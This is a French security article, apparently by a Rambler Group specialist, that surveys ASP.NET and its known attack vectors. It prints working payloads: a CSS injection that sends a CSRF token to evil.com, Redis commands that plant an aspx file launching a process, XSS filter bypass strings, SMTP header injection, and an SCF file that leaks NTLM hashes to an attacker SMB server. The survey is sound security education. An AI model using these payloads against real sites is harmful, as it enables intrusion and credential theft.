
Comme le disent les experts en sécurité de l'information: «Ils cassent tout, tout le monde et toujours.» Dans le même temps, les attaques sur ASP.NET sont une chose rare. Par conséquent, il est toujours extrêmement curieux d'apprendre quelque chose de nouveau à ce sujet. Sous la coupe, l'histoire d'Aleksey Morozov, spécialiste du département de sécurité de l'information du Groupe Rambler, sur les forces et les faiblesses de cette technologie.
Présentation
Aujourd'hui, ASP a gagné sa popularité en tant qu'outil de création de projets de moyenne et grande envergure. Et, comme toute solution populaire, ASP.NET intéresse également les chercheurs, les pirates et les testeurs de sécurité externes.
Cet article décrit les problèmes de sécurité ASP.NET potentiels dans différentes versions. Cependant, il convient de noter que ASP est bien inférieur au nombre de solutions au même PHP, et cela est dû à de nombreux facteurs.
Contrairement à PHP, l'utilisation d'ASP est généralement beaucoup plus compliquée et coûteuse (en utilisant la version commerciale d'IIS, l'environnement de développement Visual Studio). Jusqu'à récemment (l'avènement d'ASP.NET Core), l'utilisation n'était possible que sous Windows et sur le serveur Web IIS. Le déploiement est également plus compliqué.
ASP (
Active Server Pages ) est la technologie de Microsoft pour créer des pages dynamiques.
Description: cette technologie permet de créer des pages HTML avec des insertions dans le langage Jscript (très similaire à JavaScript, mais en plus des scripts client, il a un certain nombre d'options pour travailler avec le système d'exploitation Windows et des insertions de serveur sur ASP)
Un exemple :
<% @ Language = "JScript" %><% Response.Write("Hello World!"); %>
ASP.NETLa prochaine étape de développement technologique a été la création du noyau ASP basé sur le framework .Net. En conséquence, ASP a reçu toutes les fonctionnalités de cette solution, à savoir:
- utilisation de différents langages de programmation (C #, Visual Basic.NET, J # et JScript .NET);
- une vitesse accrue par rapport aux technologies de script, car la première fois que le code est compilé et placé dans un cache spécial, puis exécuté uniquement, sans nécessiter d'analyse, d'optimisation fastidieuse;
- code compilé qui vous permet de mieux détecter les erreurs, de sorte que le processus de débogage lui-même devient plus efficace;
- la possibilité de mettre en cache la page;
- séparation de la présentation et de la logique métier.
Sur la base de la solution ASP.NET, les technologies suivantes ont été créées, que nous considérerons.
ASP.NET Ajax est l'une des extensions ASP.NET qui vous permet d'utiliser Ajax pour mettre à jour de manière asynchrone une partie du contenu.
Un exemple :
<asp:Button ID="Button1" runat="server" Text="Refresh" /> <asp:UpdatePanel ID="UpdatePanel1" runat="server"> <Triggers> <asp:AsyncPostBackTrigger ControlID="Button1" EventName="Click" /> </Triggers> <ContentTemplate> <span><%= DateTime.Now %></span> </ContentTemplate> </asp:UpdatePanel>
ASP.NET Web Forms - une nouvelle évolution de la technologie ASP, dans laquelle il y a une transition vers un modèle orienté composant pour la création d'applications.
Description:Le modèle Web Forms est basé sur trois concepts de base: la publication de page, l'état d'affichage et les contrôles serveur. Chaque demande HTTP envoyée au serveur Web et mappée au runtime ASP.NET passe par plusieurs étapes au cours desquelles le traitement de l'événement de publication prend le devant de la scène. L'événement de publication est l'action principale que l'utilisateur s'attend à recevoir à la suite du traitement de sa demande. (par exemple, cliquez sur un bouton).
Autrement dit, il existe des contrôles traditionnels (contrôles) et un modèle de développement piloté par les événements.
Un exemple :
La vue (fichier aspx) est du côté client.
<%@ Page Language="C#" CodeFile="SamplePage.aspx.cs" Inherits="SamplePage" AutoEventWireup="true" %> <html> <head runat="server" > <title>Code-Behind Page Model</title> </head> <body> <form id="form1" runat="server"> <div> <asp:Label id="Label1" runat="server" Text="Label" > </asp:Label> <br /> <asp:Button id="Button1" runat="server" onclick="Button1_Click" Text="Button" > </asp:Button> </div> </form> </body> </html>
Traitement logique (fichier cs (si vous utilisez C #)) - côté serveur.
using System; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class SamplePage : System.Web.UI.Page { protected void Button1_Click(object sender, EventArgs e) { Label1.Text = "Clicked at " + DateTime.Now.ToString(); } }
L'API Web ASP.NET est une autre extension qui vous permet de créer des services d'API pour un développement et une interaction plus pratiques avec l'application.
Un exemple :
[HttpDelete("{id}")] public IActionResult Delete(long id) { var todo = _context.TodoItems.Find(id); if (todo == null) { return NotFound(); } _context.TodoItems.Remove(todo); _context.SaveChanges(); return NoContent(); }
ASP.NET MVC - la prochaine étape dans le développement de la technologie se produit après la séparation de la logique métier en trois composants du modèle MVC (Model-View-Controller). Le moteur du rasoir est également en cours d'introduction et il devient possible de personnaliser indépendamment les éléments gérés du site, ce qui était très difficile avec les formulaires Web.
Avantages :
- la gestion des structures complexes est facilitée en divisant l'application en un modèle, une présentation et un contrôleur;
- l'état d'affichage et les formulaires de serveur ne sont pas utilisés. Cela rend la plateforme MVC idéale pour les développeurs qui ont besoin d'un contrôle complet sur le comportement des applications;
- Circuit de contrôleur principal dans lequel les demandes d'application Web sont traitées via un seul contrôleur. Cela vous permet de créer des applications qui prennent en charge une infrastructure de routage étendue;
- Convient parfaitement aux applications Web prises en charge par de grandes équipes de développement.
Un exemple :
Afficher @{ Layout = null; } <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <title>SomeView</title> </head> <body> <div> <h2>@ViewBag.Message</h2> </div> </body> </html>
Modèle using System; using System.ComponentModel; using System.ComponentModel.DataAnnotations; namespace MvcModels.Models { public partial class User { public int UserId { get; set; } [DisplayName("")] public string FirstName { get; set; } [DisplayName("")] public string LastName { get; set; } [DisplayName(" ")] [DataType(DataType.Date)] public DateTime BirthDate { get; set; } } }
ContrĂ´leur using System.Web.Mvc; namespace NonCompiledMvc.Controllers { public class HomeController : Controller { public ActionResult Index() { return View((object)"It Works!"); } } }
ASP.NET Core - La prochaine percée dans ASP.NET devient multiplateforme, avec la prise en charge de C # 7.0.
La technologie | Forces | Faiblesses |
---|
Pages serveur actives, ASP | Objectif commun | Interprété à l'exécution, prend en charge le "code spaghetti" |
Formulaires Web ASP.NET 1.0 / 1.1 | Compilé, interface utilisateur, prend en charge la POO | Débit élevé, HTML complexe, non testable |
ASP.NET Web Forms 2.0 | - | - |
ASP.NET Ajax | Implémentation Ajax | Complexité déraisonnable, manque de flexibilité |
Formulaires Web ASP.NET 3.5-4.0 | - | - |
ASP.NET MVC 1.0-5.0 | Le modèle de développement change complètement. Il y a de la flexibilité | L'absence de multiplateforme. Impossible de compiler à la volée |
ASP.NET Core | La multiplateforme apparaît. Open source | - |
Authentification dans ASP.NET
Il existe trois types d'authentification dans ASP.NET MVC qui sont sensiblement différents les uns des autres.
- Aucune authentification: identité ASP.NET et aucun système d'authentification intégré;
- Comptes d'utilisateurs individuels: le projet inclut par défaut le système d'identité ASP.NET, qui vous permet d'autoriser les utilisateurs à la fois dans l'application et en utilisant des services externes tels que google, twitter, etc.
- Comptes organisationnels: adaptés aux sites et applications Web de sociétés et d'organisations individuelles;
- Authentification Windows: un système d'authentification pour les réseaux intranet utilisant des comptes Windows.

ASP.NET en termes de piratage
Comme toute technologie, ASP.NET a été piraté. Ci-dessous, nous décrirons les études de sécurité les plus populaires, y compris non seulement dans ASP lui-même, mais également en conjonction avec l'infrastructure.
Statistiques CVE
Comme le montre le tableau, les statistiques sur les découvertes sont très peu nombreuses. En effet, ASP.NET nécessite une bonne connaissance pour l'examiner en détail. Et les ressources sont également beaucoup moins importantes que sur le même PHP.
Utilisation d'un octet nul pour le contournement d'autorisationCVE: CVE-2011-3416
Description: il est possible de contourner l'autorisation.
Algorithme:- Enregistrez un nouveau compte avec un nom d'utilisateur existant;
- Lors de l'inscription, ajoutez des octets nuls et des caractères supplémentaires (admin% 0012sd);
- Ainsi, le contrôle d'unicité sera réussi. Un nouvel utilisateur «admin» sera créé avec le même rôle, mais avec un nouveau mot de passe.
Exemple de code vulnérable :
If (IsPostBack) { String name = Request.Form[“name”]; String password = Request.Form[“password”]; If (name != null && password != null && FormsAuthentication.Authenticate(name, password)) { FormsAuthentication.SetAuthCookie(name, false); Response.Redirect(Request[“ReturnUrl”] ?? “/”); } Else { ModelState.AddModeError(“fail”, “ .” + “ ”); } }
Preuve de concept :
Solution: cette erreur a été corrigée dans .Net 3.5
Débogage à distanceDescription: ASP.NET étant une application compilée, elle possède certaines fonctionnalités de débogage. Microsoft vous permet d'utiliser un débogueur distant pour travailler sur la version de débogage de l'application.
Si ce port est ouvert sur Internet et est protégé par un simple mot de passe ou qu'il n'y a pas de mot de passe, il est possible de récupérer un débogueur. De plus, cela vous permettra d'influencer l'application en mode DEBUG. Y compris l'extraction de mots de passe, la modification de la logique, la conduite du traçage, etc.
Preuve de concept :
Solution: utilisez un mot de passe fort et n'exposez pas le service pour le débogage.
Injection d'en-tête SMTPDescription: vous devez rappeler une petite spécification du protocole SMTP.
Un exemple de ce Ă quoi ressemble un paquet de message simple SMTP:
Received: from mail.bieberdorf.edu (mail.bieberdorf.edu [124.211.3.78]) by mailhost.immense-isp.com (8.8.5/8.7.2) with ESMTP id LAA20869 for ; Tue, 18 Mar 1997 14:39:24 -0800 (PST) Received: from alpha.bieberdorf.edu (alpha.bieberdorf.edu [124.211.3.11]) by mail.bieberdorf.edu (8.8.5) id 004A21; Tue, Mar 18 1997 14:36:17 -0800 (PST) From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> X-Mailer: Loris v2.32 Lunch today?
Evidemment, en l'absence de validation de la valeur tombant dans l'en-tête "To", il est possible de rediriger la lettre vers un autre destinataire. Mais ce serait trop simple et évident, donc la validation est déjà en cours au niveau .Net.
Cependant, si vous introduisez un nouvel en-tête Reply-To - une adresse pour les réponses, alors de nombreux formulaires tels que "Mot de passe oublié" en prennent souvent l'adresse d'envoi, il suffit donc d'introduire des caractères de retour chariot et de saut de ligne et d'obtenir une charge de travail.
... From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com/r/nReply-to:hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> ... : From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Reply-To: hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
Exemple de code vulnérable: MailAddress from = new MailAddress(“******@mail.ru", “test"); MailAddress to = new MailAddress(email); MailMessage m = new MailMessage(from, to); m.Subject = ""; m.Body = "-"; m.Headers.Add(“To", email); m.IsBodyHtml = true; SmtpClient smtp = new SmtpClient("smtp.mail.ru", 587); smtp.Credentials = new NetworkCredential(“******@mail.ru", “******"); smtp.EnableSsl = true; smtp.Send(m);
Preuve de concept :
Solution: n'écrivez pas de code complexe, utilisez un nouveau .Net
RCE en vue partielleDescription: il existe deux concepts importants dans la terminologie ASP.NET MVC:
La vue est la vue que l'utilisateur voit. Comme déjà indiqué, grâce aux rasoirs ou aux moteurs de formulaires Web, il est possible d'implémenter du code côté serveur.
Vue partielle -
Vue partielle . Cela fait partie du contenu de la vue, extrait dans un fichier séparé pour plus de commodité.
Il est nécessaire d'avoir un champ dans la vue partielle, qui est rendu en html, et dans lequel il est possible d'entrer une charge dangereuse.
Exemple de chargement: obtention du mot de passe de l'utilisateur actuel
@((Account.Models.User)Session[“User”].Password
À la suite de l'accès à la vue, ce code sera exécuté. Depuis les directives seront reconnues comme un moteur de rasoir. La figure ci-dessous montre comment cela se produit.
Algorithme:- L'utilisateur fait une demande au contrĂ´leur;
- Le contrĂ´leur rend la vue;
- A l'intérieur de la vue, une vue partielle est rencontrée, après quoi une demande est à nouveau faite au contrôleur, qui est responsable du rendu de la vue partielle;
- La vue partielle terminée est renvoyée au principal et le principal à l'utilisateur.
Preuve de concept :
Un exemple simplifié :
@{ Html.RenderPartial("Code", html); } Controller - public ActionResult Index(string html = "") { ViewBag.Html = html; return View(); } Partial view – @model string @{ Layout = null; } @Model Index view – @{ string html = ViewBag.Html.ToString(); } @{ Html.RenderPartial("Code", html); }
Preuve de concept :
PS La tentative de reproduction échoue.
Injection CSRF et CSSCes vulnérabilités impliquent une interaction avec l'utilisateur.
CSRF (Cross Site Request Forgery) - contrefaçon de demande intersite.
Algorithme:- L'utilisateur vient sur le site du pirate;
- Remplit les champs du formulaire;
- Les données du formulaire sont envoyées à un autre site au nom de l'utilisateur et avec son rôle;
- Ainsi, l'utilisateur, sans s'en rendre compte, a effectué certaines actions sur une autre ressource.
Pour se protéger contre ce type d'attaque, les jetons CSRF ont été inventés, en règle générale, il s'agit d'une chaîne contenant une séquence de caractères.
Une vulnérabilité a été trouvée qui contourne la protection contre la CSRF. Il était juste nécessaire d'utiliser une chaîne beaucoup moins que l'original comme jeton.
Jeton régulier <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" />
Jeton vulnérable <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />
La charge pour voler le jeton via CSS (pas XSS):Dans le cas où tronquer le jeton n'aide pas, vous pouvez recourir à l'attaque CSS-Injection, qui vous permet de voler le jeton de la page et de le dessiner sur votre ressource. Grâce à cela, un véritable jeton est donné à l'utilisateur, et la demande nécessaire sur le site est faite en son nom.
Exemple de chargement :
%0A{}*{color:red;} - Test <div id ="s"> secret <style type ="text/css"> div #s:: -webkit-scrollbar-track-piece:vertical:increment { background: red url(//evil.com?s); } * {-o-link:'javascript:alert(1)';-o-link-source: current;}
XXE dans DocXDescription: ASP.NET, comme d'autres technologies, utilise de nombreuses solutions tierces. Dans l'une de ces solutions s'intégrant dans ASP.NET, la vulnérabilité XXE (XML External Entities) a été trouvée, qui consiste en une erreur d'analyse XML et la possibilité de connecter des entités externes pouvant contenir des données critiques. En savoir plus sur XXE sur les pages
OWASP .
Dans ce cas, le composant est responsable du chargement et de l'analyse des fichiers docx (Microsoft World). Étant donné que tout document Office est en fait un ensemble de fichiers xml, l'analyse peut entraîner une attaque XXE.
Algorithme:- Document de bureau déballé;
- La charge est introduite;
- Il est compressé en tant que docx;
- Il est versé sur le serveur pour traitement, où un composant vulnérable est utilisé.
Preuve de concept :
RCE via RedisDescription: en plus des composants vulnérables, le piratage ASP.NET peut être combiné avec des technologies vulnérables. Par exemple, une vulnérabilité de longue date est connue dans le système de stockage RAM Redis qui permet l'exécution de code arbitraire côté serveur. Ensuite, cette attaque sera considérée par rapport à ASP.
Algorithme:- Connexion à Redis. Il est important qu'il s'exécute sur le même serveur que le serveur Web;
- En exécutant la liste suivante et en utilisant un serveur Web pour afficher la page résultante, du code arbitraire sera exécuté. Dans ce cas, appeler la calculatrice:
config set dir DIRNAME config set dbfilename asd.aspx flushall set c '<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="asd.aspx.cs" %><% System.Diagnostics.Process.Start("calc.exe"); %>' save
Preuve de concept :
Filtre XSS ByPassASP.NET possède son propre mécanisme pour filtrer les données des attaques de la classe XSS. Lorsque vous essayez de transférer des caractères ou des signatures interdits, la protection suivante est déclenchée:

Cependant, il existe de nombreuses façons de contourner cette protection. En voici quelques uns:
- % EF% BC% 9Cimg% 20src% 3Dxxx% 20onerror% 3D alert (1) % EF% BC% 9E
- <- / script> alert (1) ;
- </ XSS / * - * / STYLE = xss: e / ** / xpression ( alert ('XSS') )>
- % uff1cscript% uff1e alert ('XSS') ;% uff1c / script% uff1e
Dans les dernières versions, ces méthodes ne fonctionnent plus, cependant, comme déjà mentionné, la technologie ASP.NET a été créée principalement pour les grands et longs projets, de nombreuses ressources peuvent donc être affectées par cette vulnérabilité.
Fichier de commandes shellDescription: Il n'y a pas si longtemps, une vulnérabilité liée au navigateur Google Chrome a explosé, dont l'essence est de voler le hachage NTLM de l'utilisateur.
Algorithme:1) Un fichier est préparé avec l'extension scf et le contenu suivant
[Shell] IconFile=\\***.**.*.***\icon
où au lieu des astérisques ip est l'adresse du serveur smb de l'attaquant;
2) Lorsqu'il arrive sur l'ordinateur de l'utilisateur, ce fichier n'a même pas besoin d'être ouvert. Il suffit que l'utilisateur accède simplement au même dossier où se trouve ce fichier. Dès que cela se produit, un paquet de hachage sera envoyé au serveur SMB;
3) Ainsi, le piratage d'infrastructure peut également être combiné avec des vulnérabilités simples telles que Open Redirect.
Preuve de concept :
Merci de votre attention! Partagez votre expérience et laissez des questions à Alexei Morozov (alias
SoolFaa ) dans les commentaires de cet article.